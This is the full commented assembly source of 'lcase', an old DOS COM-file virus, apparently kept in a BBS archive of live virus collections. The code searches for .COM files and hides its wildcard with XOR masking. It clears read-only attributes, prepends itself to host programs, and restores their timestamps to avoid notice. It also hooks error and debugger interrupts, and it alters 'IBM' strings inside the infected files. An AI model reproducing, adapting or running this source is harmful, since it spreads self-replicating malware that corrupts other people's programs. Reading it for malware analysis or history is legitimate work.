home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / lcase.asm < prev    next >
Assembly Source File  |  1991-09-02  |  15KB  |  606 lines

  1.     page    ,132
  2. ;
  3. ;  name: lcase.vom
  4. ;
  5. ;  program type: com/bin
  6. ;
  7. ;  cpu type: 8086/8087
  8. ;
  9. ;  program loaded at 0000:0100
  10. ;
  11. ;  physical eof at 0000:0489
  12. ;
  13. ;  program entry point at 0000:0100
  14. ;
  15. fun    segment
  16. assume    cs:fun,ds:fun,es:fun,ss:fun
  17. ;
  18. ;  start of program
  19. ;
  20.     org    0100h
  21. h_0100:
  22.     jmp    short h_0112            ;skip this
  23.     db    08h,08h,02h,20h,1ah,00h,00h,00h        ;0102 ... ....
  24.     db    0008h dup (00h)                ;010a .
  25. h_0112:
  26.     call    h_013e                ;call do_virus
  27.     jmp    h_0438                ;go start infected file
  28. ;
  29. h_0118    dw    0000h                    ;0118 ..
  30. h_011a    dw    0000h                    ;011a ..
  31. h_011c    dw    0556h                ;oldint24ofs
  32. h_011e    dw    0bd2h                ;oldint24seg
  33. h_0120    dw    0782h                ;exit_time
  34. h_0122    dw    0005h                ;handle
  35. h_0124    dw    2cb5h                ;highseg
  36. h_0126    dw    2db5h                ;psp_save_seg
  37. h_0128    dw    2eb5h                ;new_virus_seg
  38. h_012a    dw    1325h                ;file_date
  39. h_012c    dw    65f6h                ;file_time
  40. h_012e    dw    0029h                ;infected_program_size
  41. h_0130    dw    0360h                ;virus_size
  42. h_0132    db    "JN#/-"                ;wildcard_com (masked!)
  43. ;    db    '*.COM'                ;unmasked!
  44.     db    00h                    ;0137
  45. h_0138    dw    0020h                ;attributes
  46. h_013a    dw    0460h                ;virus_end
  47. h_013c    dw    0cebh                ;after_virus
  48. ;
  49. ;            do_virus
  50. ;
  51. h_013e:
  52.     call    h_03b0                ;call setup_virus
  53.                 ;NOTE: Will not return if DOS >= 3.0!
  54.     ret                    ;and done
  55. ;
  56. ;            find_file_to_infect
  57. ;
  58. h_0142:
  59.     call    h_0198                ;call set_exit_time
  60.     call    h_03f9                ;call find_first_com_file
  61.     jnae    h_0168                ;error, we're done
  62. h_014a:
  63.     call    h_03b7                ;call check_com_size
  64.     jnae    h_0173                ;no, try next file
  65.     call    h_0293                ;call get_check_attributes
  66.     jnae    h_0173                ;no, try next file
  67.     call    h_017f                ;call clear_read_only
  68.     jnae    h_0168                ;no good, we're done
  69.     call    h_02a8                ;call open_file
  70.     jnae    h_0168                ;error, quit
  71.     call    h_0235                ;call read_file_header
  72.     jnae    h_0168                ;error, quit
  73.     call    h_03df                ;call check_infected
  74.     jnae    h_0169                ;yes, try next file
  75. h_0168:
  76.     ret                    ;else we're done
  77. h_0169:
  78.     call    h_01d6                ;call close_file
  79.     jnae    h_0168                ;error, quit
  80.     call    h_01b5                ;call reset_attributes
  81.     jnae    h_0168                ;error, quit
  82. h_0173:
  83.     call    h_01a5                ;call check_exit_time
  84.     jnae    h_0168                ;done, just quit
  85.     call    h_03cc                ;call find_next_com_file
  86.     jnae    h_0168                ;error, quit
  87.     jmp    short h_014a            ;else check next file
  88. ;
  89. ;            clear_read_only
  90. ;
  91. h_017f:
  92.     mov    cx,[h_0138]            ;get attributes
  93.     and    cx,-02h                ;turn off read-only bit
  94.     cmp    cx,[h_0138]            ;was read-only set?
  95.     jz    h_0196                ;no, skip this
  96.     mov    dx,009eh            ;ds:dx = name found in DTA
  97.     mov    al,01h                ;fn = set file attributes
  98.     mov    ah,43h
  99.     int    21h                ;call DOS
  100.     ret                    ;and done
  101. h_0196:
  102.     clc                    ;flag OK
  103.     ret                    ;and done
  104. ;
  105. ;            set_exit_time
  106. ;
  107. h_0198:
  108.     xor    ah,ah                ;fn = get time-of-day
  109.     int    1ah                ;call BIOS
  110.     mov    ax,dx                ;low word to ax
  111.     add    ax,0012h            ;plus 18 ticks (1 second)
  112.     mov    [h_0120],ax            ;set exit_time
  113.     ret                    ;and done
  114. ;
  115. ;            check_exit_time
  116. ;
  117. h_01a5:
  118.     xor    ah,ah                ;fn = get time-of-day
  119.     int    1ah                ;call BIOS
  120.     cmp    dx,[h_0120]            ;ticks vs exit_time
  121.     ja    h_01b3                ;expired, we're done
  122.     cmp    al,00h                ;next day?
  123.     jz    h_0196                ;return not expired
  124. h_01b3:
  125.     stc                    ;flag exipred
  126.     ret                    ;and done
  127. ;
  128. ;            reset_attributes
  129. ;
  130. h_01b5:
  131.     mov    cx,[h_0138]            ;get attributes
  132.     mov    dx,009eh            ;ds:dx = name found in DTA
  133.     mov    al,01h                ;fn = set file attributes
  134.     mov    ah,43h
  135.     int    21h                ;call DOS
  136.     ret                    ;and done
  137. ;
  138. ;            reset_file_time_date
  139. ;
  140. h_01c3:
  141.     mov    al,01h                ;subfn = set
  142.     mov    bx,[h_0122]            ;get handle
  143.     mov    dx,[h_012a]            ;get file_date
  144.     mov    cx,[h_012c]            ;and file_time
  145.     mov    ah,57h                ;fn = set file time/date
  146.     int    21h                ;call DOS
  147.     ret                    ;and done
  148. ;
  149. ;            close_file
  150. ;
  151. h_01d6:
  152.     mov    bx,[h_0122]            ;get handle
  153.     mov    ah,3eh                ;fn = close file
  154.     int    21h                ;call DOS
  155.     ret                    ;and done
  156. ;
  157. ;   come here from setup_virus_env if DOS >= 3.0!
  158. ;
  159. h_01df:
  160.     call    h_0403                ;call mask_wildcard_com
  161.     call    h_0142                ;call find_file_to_infect
  162.     pushf                    ;save return flags
  163.     call    h_0403                ;call mask_wildcard_com
  164.     popf                    ;restore return flags
  165.     jnae    h_0212                ;error, we're done
  166.     call    h_02b9                ;call get_file_time_date
  167.     jnae    h_0212                ;error, quit
  168.     call    h_024b                ;call read_rest_of_program
  169.     jnae    h_0212                ;error, quit
  170.     call    h_0273                ;call write_virus
  171.     jnae    h_0212                ;error, quit
  172.     call    h_035a                ;call de-emphasize_ibm
  173.     call    h_0345                ;call attach_infected_file
  174.     jnae    h_0212                ;error, quit
  175.     call    h_01c3                ;call reset_file_time_date
  176.     jnae    h_0212                ;error, quit
  177.     call    h_01d6                ;call close_file
  178.     jnae    h_0212                ;error, quit
  179.     call    h_01b5                ;call reset_attributes
  180.     jnae    h_0212                ;error, DO NOTHING!
  181. h_0212:
  182.     ret                    ;and done
  183. ;
  184. ;            save_psp
  185. ;
  186. h_0213:
  187.     mov    es,[h_0126]            ;get psp_save_seg
  188.     xor    si,si                ;ds:si = our PSP
  189.     xor    di,di                ;eS:di = save area
  190.     mov    cx,0100h            ;PSP size
  191.     cld                    ;up!
  192.     repz    movsb                ;save the PSP
  193.     ret                    ;and done
  194. ;
  195. ;            restore_psp
  196. ;
  197. h_0222:
  198.     push    ds                ;current seg
  199.     pop    es                ;to es
  200.     push    ds                ;save our ds
  201.     mov    ds,[h_0126]            ;get psp_save_seg
  202.     xor    si,si                ;ds:si = saved PSP
  203.     xor    di,di                ;es:di = our PSP
  204.     mov    cx,0100h            ;PSP size
  205.     cld                    ;up!
  206.     repz    movsb                ;restore the PSP
  207.     pop    ds                ;restore our DS
  208.     ret                    ;and done
  209. ;
  210. ;            read_file_header
  211. ;
  212. h_0235:
  213.     mov    bx,[h_0122]            ;get handle
  214.     mov    cx,0012h            ;size to read
  215.     xor    dx,dx                ;ofs 0
  216.     mov    ds,[h_0128]            ;in new_virus_seg
  217.     mov    ah,3fh                ;fn = read file
  218.     int    21h                ;call DOS
  219.     push    cs                ;current segment
  220.     pop    ds                ;to ds
  221.     jnae    h_0212                ;error, quit
  222.     ret                    ;else return anyway!
  223. ;
  224. ;            read_rest_of_program
  225. ;
  226. h_024b:
  227.     mov    bx,[h_0122]            ;get handle
  228.     mov    di,009ah            ;ptr to size (low) in DTA
  229.     mov    cx,[di]                ;get size (low)
  230.     mov    dx,0012h            ;dx = signature size
  231.     sub    cx,dx                ;remainder to read
  232.                 ;BUG: If file size < 12h, will be a
  233.                 ;     BIG read!
  234.     mov    ds,[h_0128]            ;new_virus_seg
  235.     mov    ah,3fh                ;fn = read file
  236.     int    21h                ;call DOS
  237.     push    cs                ;current segment
  238.     pop    ds                ;to ds
  239.     jnae    h_0212                ;error, quit
  240.     add    ax,0012h            ;read + header size
  241.     mov    di,009ah            ;ptr to size (low)
  242.     cmp    ax,[di]                ;all bytes read?
  243.     jnz    h_02b7                ;no, an error!
  244.     mov    [h_012e],ax            ;save infected_file_size
  245.     ret                    ;and done
  246. ;
  247. ;            write_virus
  248. ;
  249. h_0273:
  250.     xor    al,al                ;mode = BOF+CX:DX
  251.     xor    cx,cx                ;cx:dx = 0
  252.     xor    dx,dx
  253.     mov    bx,[h_0122]            ;get handle
  254.     mov    ah,42h                ;fn = lseek
  255.     int    21h                ;call DOS
  256.     jnae    h_02a7                ;error, quit
  257.     mov    bx,[h_0122]            ;get handle
  258.     mov    dx,offset h_0100        ;ds:dx = this virus
  259.     mov    cx,[h_0130]            ;get virus_size
  260.     mov    ah,40h                ;fn = write to file
  261.     int    21h                ;call DOS
  262.     ret                    ;and done
  263. ;
  264. ;            get_check_attributes
  265. ;
  266. h_0293:
  267.     mov    dx,009eh            ;ds:dx = name found in DTA
  268.     xor    al,al
  269.     mov    ah,43h                ;fn = get file attributes
  270.     int    21h                ;call DOS
  271.     jnae    h_02a7                ;error, quit
  272.     mov    [h_0138],cx            ;save attributes
  273.     and    cx,+06h                ;check SYSTEM, HIDDEN
  274.     jnz    h_02b7                ;set, return bad flags
  275. h_02a7:
  276.     ret                    ;and done
  277. ;
  278. ;            open_file
  279. ;
  280. h_02a8:
  281.     mov    dx,009eh            ;ds:dx = name found in DTA
  282.     mov    al,02h                ;fn = open file for read/write
  283.     mov    ah,3dh
  284.     int    21h                ;call DOS
  285.     jnae    h_02a7                ;error, quit
  286.     mov    [h_0122],ax            ;save handle
  287.     ret                    ;and done
  288. h_02b7:
  289.     stc                    ;flag error
  290.     ret                    ;and done
  291. ;
  292. ;            get_file_time_date
  293. ;
  294. h_02b9:
  295.     xor    al,al                ;subfn = get
  296.     mov    bx,[h_0122]            ;get handle
  297.     mov    ah,57h                ;fn = get file time/date
  298.     int    21h                ;call DOS
  299.     jnae    h_02a7                ;error, quit
  300.     mov    [h_012a],dx            ;save file_date
  301.     mov    [h_012c],cx            ;and file_time
  302.     ret                    ;and done
  303. ;
  304. ;            setup_virus_env
  305. ;
  306. h_02ce:
  307.     mov    ax,ds                ;get our segment
  308.     add    ax,2000h            ;plus 128K
  309.     mov    [h_0124],ax            ;set highseg
  310.     add    ax,0100h            ;plus another 4K
  311.     mov    [h_0126],ax            ;set psp_save_seg
  312.     add    ax,0100h            ;plus another 4K
  313.     mov    [h_0128],ax            ;set new_virus_seg
  314.     mov    ax,offset h_045d+0010h        ;end of virus plus pad (046dh)
  315.     and    ax,0fff0h            ;mask to paragarph
  316.     mov    [h_013a],ax            ;save virus_end
  317.     sub    ax,0100h            ;minus PSP size
  318.     mov    [h_0130],ax            ;save virus_size
  319.     mov    cl,04h                ;for 4-bit shift
  320.     shr    ax,cl                ;bytes to paras
  321.     mov    cx,cs                ;get our segment
  322.     add    ax,cx                ;plus virus paras
  323.     mov    [h_013c],ax            ;set after_virus
  324.     call    h_0213                ;call save_psp
  325.     call    h_030e                ;call get_set_int24
  326.     call    h_03a9                ;call check_dos_version
  327.     jnae    h_030d                ;no, just continue
  328.     pop    cx                ;cleanup h_03b6 return address
  329.     pop    ax                ;cleanup h_0141 return address
  330.     mov    ax,offset h_01df        ;ofs of continuation IP
  331.     push    ax                ;to stack
  332. h_030d:
  333.     ret                    ;and done with this routine
  334. ;
  335. ;            get_set_int24
  336. ;
  337. h_030e:
  338.     mov    ax,3524h            ;fn = get INT 24 vector
  339.     int    21h                ;call DOS
  340.     mov    [h_011c],bx            ;save oldint24ofs
  341.     mov    [h_011e],es            ;and oldint24seg
  342.     mov    ax,2524h            ;fn = set INT 24 vector
  343.     mov    dx,offset h_0334        ;ds:dx = INT24HERE
  344.     int    21h                ;call DOS
  345.     ret                    ;and done
  346. ;
  347. ;            restore_int24
  348. ;
  349. h_0324:
  350.     mov    ax,2524h            ;fn = set INT 24 vector
  351.     push    ds                ;save our ds
  352.     mov    dx,[h_011c]            ;get oldint24ofs
  353.     mov    ds,[h_011e]            ;and oldint24seg
  354.     int    21h                ;call DOS
  355.     pop    ds                ;restore our ds
  356.     ret                    ;and done
  357. ;
  358. ;            int24here
  359. ;
  360. h_0334:
  361.     pop    ax                ;cleanup return IP
  362.     pop    ax                ;and return CS
  363.     popf                    ;and return flags
  364.     pop    ax                ;retore saved regs
  365.     pop    bx
  366.     pop    cx
  367.     pop    dx
  368.     pop    si
  369.     pop    di
  370.     pop    bp
  371.     pop    ds
  372.     pop    es
  373.             ;NOTE: Won't work on Novell 3.10A-E!
  374.     mov    ax,000eh            ;error = RESERVED
  375.     stc                    ;flag error
  376.     iret                    ;continue program
  377.             ;BUG: IRET will pop flags, destroying the
  378.             ;     error flag of the STC!
  379. ;
  380. ;            attach_infected_file
  381. ;
  382. h_0345:
  383.     mov    bx,[h_0122]            ;get handle
  384.     mov    cx,[h_012e]            ;get infected_program_size
  385.     xor    dx,dx                ;ofs of saved program
  386.     push    ds                ;save our ds
  387.     mov    ds,[h_0128]            ;get new_virus_seg
  388.     mov    ah,40h                ;fn = write to file
  389.     int    21h                ;call DOS
  390.     pop    ds                ;restore our ds
  391.     ret                    ;and done
  392. ;
  393. ;            de-emphasize_ibm
  394. ;
  395. h_035a:
  396.     mov    cx,[h_012e]            ;get infected_program_size
  397.     xor    di,di                ;offset into program
  398.     push    ds                ;save our ds
  399.     mov    ds,[h_0128]            ;get new_virus_seg
  400.     mov    al,4dh                ;3rd char of IBM ('M')
  401.     mov    ah,49h                ;1st char of IBM ('I')
  402.     mov    bh,42h                ;2nd char of IBM ('B')
  403. h_036b:
  404.     inc    di                ;next byte in program
  405.     cmp    ah,[di]                ;1st char of IBM?
  406.     jnz    h_0385                ;no, do next byte
  407.     cmp    bh,[di+01h]            ;2nd char of IBM?
  408.     jnz    h_0385                ;no, do next byte
  409.     cmp    al,[di+02h]            ;3rd char of IBM?
  410.     jnz    h_0385                ;no, do next byte
  411.     mov    byte ptr [di+02h],6dh        ;replace 'M' with 'm'
  412.     mov    byte ptr [di],69h        ;replace 'I' with 'i'
  413.     mov    byte ptr [di+01h],62h        ;replace 'B' with 'b'
  414. h_0385:
  415.     loop    h_036b                ;do all bytes
  416.     pop    ds                ;restore our ds
  417.     ret                    ;and done
  418. ;
  419. ;            set_trash_int
  420. ;
  421. h_0389:
  422.     mov    dx,offset h_0392        ;ofs of trash_int
  423. ;
  424. ;            set_int
  425. ;
  426. h_038c:
  427.     mov    ah,25h                ;fn = set INT vector
  428.     int    21h                ;call DOS
  429.     ret                    ;and done
  430. ;
  431. ;            null_iret
  432. ;
  433. h_0391:
  434.     iret                    ;and done
  435. ;
  436. ;            trash_int
  437. h_0392:
  438.     jmp    short h_0389            ;goto set_trash_int
  439. ;
  440. ;            set_null_int
  441. ;
  442. h_0394:
  443.     mov    dx,offset h_0391        ;ds:dx = null_iret
  444.     jmp    short h_038c            ;goto set_int
  445. ;
  446. ;            set_ints_23_19_1b
  447. ;
  448. h_0399:
  449.     mov    al,23h                ;interrupt # = 23h
  450.     call    h_0389                ;call set_trash_int
  451.     mov    al,19h                ;interrupt # = 19h
  452.     call    h_0389                ;call set_trash_int
  453.     mov    al,1bh                ;interrupt # = 1bh
  454.     call    h_0389                ;call set_trash_int
  455.     ret                    ;and done
  456. ;
  457. ;            check_dos_version
  458. ;
  459. h_03a9:
  460.     mov    ah,30h                ;fn = get DOS version
  461.     int    21h                ;call DOS
  462.     cmp    al,03h                ;at least 3?
  463.     ret                    ;and return the flags
  464. ;
  465. ;            setup_virus
  466. ;
  467. h_03b0:
  468.     call    h_03d1                ;call take_bothersome_ints
  469.     call    h_02ce                ;call setup_virus_env
  470.                 ;NOTE: Will not return if DOS >= 3.0!
  471.     ret                    ;and done
  472. ;
  473. ;            check_com_size
  474. ;
  475. h_03b7:
  476.     mov    di,009ch            ;di = high word of name
  477.     cmp    word ptr [di],+00h        ;file > 64K?
  478.     jnz    h_03c8                ;yes, flag we're done
  479.     mov    di,009ah            ;ptr to size (low) in DTA
  480.     cmp    word ptr [di],0d000h        ;too big?
  481.     jnae    h_03ca                ;no, flag OK
  482. h_03c8:
  483.     stc                    ;flag ignore this file
  484.     ret                    ;and done
  485. h_03ca:
  486.     clc                    ;flag OK to infect
  487.     ret                    ;and done
  488. ;
  489. ;            find_next_com_file
  490. ;
  491. h_03cc:
  492.     mov    ah,4fh                ;fn = find next matching file
  493.     int    21h                ;call DOS
  494.     ret                    ;and done
  495. ;
  496. ;            take_bothersome_ints
  497. ;
  498. h_03d1:
  499.     mov    al,03h                ;interrupt # = 3
  500.     call    h_0394                ;call set_null_int
  501.     mov    al,01h                ;interrupt # = 1
  502.     call    h_0394                ;call set_null_int
  503.     call    h_0399                ;call set_ints_23_19_1b
  504.     ret                    ;and done
  505. ;
  506. ;            check_infected
  507. ;
  508. h_03df:
  509.     mov    cx,0012h            ;size to check
  510.     mov    es,[h_0128]            ;new_virus_seg
  511.     mov    si,0000h            ;si = program header
  512.     mov    di,offset h_0100        ;di = this virus
  513. h_03ec:
  514.     mov    al,es:[si]            ;get header byte
  515.     cmp    al,[di]                ;our byte?
  516.     jnz    h_03ca                ;no, flag OK to infect
  517.     inc    si                ;update header pointer
  518.     inc    di                ;and virus pointer
  519.     loop    h_03ec                ;do all bytes
  520.     jmp    short h_03c8            ;the same, flag infected
  521. ;
  522. ;            find_first_com_file
  523. ;
  524. h_03f9:
  525.     xor    cx,cx                ;attributes = NONE
  526.     mov    dx,offset h_0132        ;ds:dx = wildcard_com
  527.     mov    ah,4eh                ;fn = find first matching file
  528.     int    21h                ;call DOS
  529.     ret                    ;and done
  530. ;
  531. ;            mask_wildcard_com
  532. ;
  533. h_0403:
  534.     mov    dx,offset h_0132        ;ds:dx = wildcard_com
  535.     mov    di,dx                ;ofs to addressing reg
  536.     mov    cx,0005h            ;len of string
  537. h_040b:
  538.     xor    byte ptr [di],60h        ;mask/unmask byte
  539.     inc    di                ;next byte
  540.     loop    h_040b                ;do all bytes
  541.     ret                    ;and done
  542. ;
  543. ;            setup_startup_routine
  544. ;
  545. h_0412:
  546.     mov    es,[h_0124]            ;get highseg
  547.     mov    di,0000h            ;es:di = free memory
  548.     mov    si,offset h_0427        ;ds:si = startup_routine
  549.     mov    cx,offset h_0437        ;end of startup_routine
  550.     sub    cx,offset h_0427        ;get size of startup_routine
  551.     cld                    ;up!
  552.     repz    movsb                ;copy startup_routine
  553.     ret                    ;and done
  554. ;
  555. ;            startup_routine
  556. ;
  557. ;   NOTE:  This routine is run from HIGHSEG:0000h
  558. ;
  559. h_0427:
  560.     mov    di,offset h_0100        ;normal COM start
  561.     mov    si,[h_013a]            ;get virus_end (loc of
  562.                         ;infected file!)
  563.     mov    cx,0d000h            ;max size
  564.     shr    cx,1                ;to words
  565.     cld                    ;up!
  566.     repz    movsw                ;move program into place
  567.     retf                    ;run infected file
  568. h_0437    db    00h                ;end of startup_routine
  569. ;
  570. ;   come here to run infected file
  571. ;
  572. h_0438:
  573.     call    h_0324                ;call restore_int24
  574.     call    h_0222                ;call restore_psp
  575.     call    h_0412                ;call setup_startup_routine
  576.     mov    word ptr [h_0118],0000h        ;ofs of startup_routine
  577.     mov    es,[h_0124]            ;get highseg
  578.     mov    [h_011a],es            ;save for JMPF
  579.     push    cs                ;current segment
  580.     pop    ds                ;to ds
  581.     push    cs                ;and again
  582.     pop    es                ;to es
  583.     push    cs                ;current seg to stack
  584.     mov    cx,offset h_0100        ;normal COM start
  585.     push    cx                ;to stack
  586.     jmp    dword ptr cs:[h_0118]        ;goto startup_routine
  587. h_045d    equ    $
  588.     db    90h,90h,90h                ;045d ...
  589. ;
  590. ;   the infected file follows
  591. ;
  592. h_0460    db    0ebh,1eh                ;0460 ..
  593.     db    "This is a t"
  594. ;    db    54h,68h,69h,73h,20h,69h,73h,20h        ;0462
  595. ;    db    61h,20h,74h                ;046a
  596. h_046d    db    "iny COM program."
  597. ;    db    69h,6eh,79h,20h,43h,4fh,4dh,20h        ;046d
  598. ;    db    70h,72h,6fh,67h,72h,61h,6dh,2eh        ;0475
  599.     db    0dh,0ah                    ;047d
  600.     db    "$"
  601. ;    db    24h                    ;047f
  602.     db    0bah,02h,01h,0b4h,09h,0cdh,21h,0cdh    ;0480 ......!.
  603.     db    20h                    ;0488  
  604. fun    ends
  605.     end    h_0100
  606.